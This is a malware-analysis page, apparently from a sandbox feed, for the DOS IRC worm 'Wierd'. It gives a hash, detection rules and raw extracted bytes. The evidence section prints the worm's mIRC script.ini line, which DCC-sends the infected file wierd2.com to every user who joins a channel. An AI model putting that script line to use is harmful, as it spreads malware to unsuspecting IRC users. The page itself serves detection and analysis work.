Suspicious 66% Download

IRC-Worm.DOS.Wierd

Detects mIRC DCC spreading behavior targeting script.iniDetects mIRC worm behavior modifying script.ini to spread via IRC
SHA-256048f0f00bc33c9b0d4b487d1940c6786f31d96f489bc5e94134b9d8cce8e3ca5

Evidence

Detects mIRC dcc send command line 0
0��<� ��N�!r1�ش@������!r#�>�!��<� ��a�!r�ش@�V��t�!�>�!� � �G�!��Error!$c:\mirc\wierd2.com�c:\mirc\script.ini�[script] n0=on 1:JOIN:#: if ( $me != $nick ) { /dcc send $nick c:\mirc\wierd2.com }

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.